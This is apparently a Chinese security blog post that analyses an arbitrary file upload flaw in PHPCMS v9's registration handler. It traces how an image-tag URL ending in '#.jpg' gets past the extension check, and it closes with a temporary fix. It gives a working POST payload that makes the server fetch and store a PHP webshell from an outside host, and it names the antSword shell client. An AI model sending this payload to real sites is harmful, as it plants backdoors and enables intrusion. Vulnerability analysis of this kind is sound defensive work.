↗点击上方“Web安全与前端”关注我们
前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为PHPCMS只要拿到了authkey注入就一大堆……
任意文件上传倒是很惊讶,但是小伙伴并没有给我EXP,今天看到了EXP,但是没有详细分析,那我就自己分析一下好啦。
首先去官网下一下最新版的程序,搭建起来。
为了方便各位小伙伴复现,这里附上最新版的下载地址:
链接: https://pan.baidu.com/s/1geNQfyb 密码: gxsd
漏洞复现的办法是先打开注册页面,然后向注册页面POST如下payload:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php\_assert.php#.jpg>&dosubmit=1&protocol=
然后就会报错并返回shell地址:
然后就可以连接啦。
通过复现过程可以看到漏洞URL为:
http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1
可以确定是member模块的问题,以前我分析过phpcms的程序,所以就不从index.php
看了,我们直接去打开member模块的控制器文件如下:
/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php
方法应该是register
,我们定位到这里的函数:
首先是获取了一个$siteid
然后加载了一些配置,再判断是否存在$_POST['dosubmit']
,如果存在则进入到注册流程。
通过跟进发现跟我们漏洞有关的代码应该是从129行开始:
其中第134行从POST请求中传入了我们EXP的关键参数$_POST['info']
:
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
但使用new_html_special_chars
函数过滤了一遍,我们来跟进下这个函数都干了些什么事情。
好吧,只是用了htmlspecialchars
函数来转义HTML特殊字符,影响不是特别大,继续往下跟,135行调用$member_input->get()
方法进行了处理:
$user_model_info = $member_input->get($_POST['info']);
get方法不是很长,这里把代码贴出来:
先调用了trim_script
方法处理了一下$data
,跟进查看:
好吧,只是进行了部分正则替换,看样子跟我们本次要谈的漏洞关系不是特别大,继续往下看。
get函数中有个关键的地方是if(is_array($data))
我们payload中的info就是个数组,所以能走进这个if条件中,继续跟。
先是用foreach
进行遍历$info
,键名为$field
,键值为$value
,首先用safe_replace
进行了一次安全替换:
$field = safe_replace($field);
跟safe_replace
函数看看:
将部分字符替换为空了,我们继续往下跟,发现get方法中这两行很关键,很有可能跟漏洞相关:
先是获取了一个$func
,然后判断方法如果存在就带入这个函数,我这里用的debug模式,可以直接看到最终的$func
是editor。
然而实际上这个editor是存在数据库中v9_model_field
表中的。
我们继续跟进editor
方法:
然后这篇文章的高潮部分来了!!!!
看这里:
把$value
,也就是我们的info[content]
带入到了$this->attachment->download
函数!继续跟!!
整段函数如下:
先是设置了一些参数,然后把我们的payload带入了一个new_stripslashes
函数:
进行了一个stripslashes
操作。
这行也是关键的一步:
这里匹配了src
或href
中文件的文件名,不过后缀为$ext
,其中$ext
的值为:gif|jpg|jpeg|bmp|png
不过匹配的并不严格,还是有办法可以绕过的,如图:
这一步被绕过,下面应该就是下载文件了吧。。。
随后在这一行带入了函数fillurl
:
在fillurl
中还很贴心的给我们去掉了#
后的内容:
这个时候$remotefileurls
的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php
其中$upload_func
等同于php的copy
函数。
然而:
而fopen
一般都是可用的,如果开启了allow_url_fopen
,这个漏洞就构成了,然而大部分环境都默认开启了allow_url_fopen
。
最终在插入注册信息时因为混入了未知的参数而导致插入失败,报错就显示出了这个未知的参数 23333
至此,该漏洞分析完成。
官方目前仍未发布修复补丁。
临时修复方案可以考虑禁用uploadfile
目录下的PHP执行权限。
注:本文原创,转载请通过本公众号联系作者。
安全&前端
长按二维码
关注我们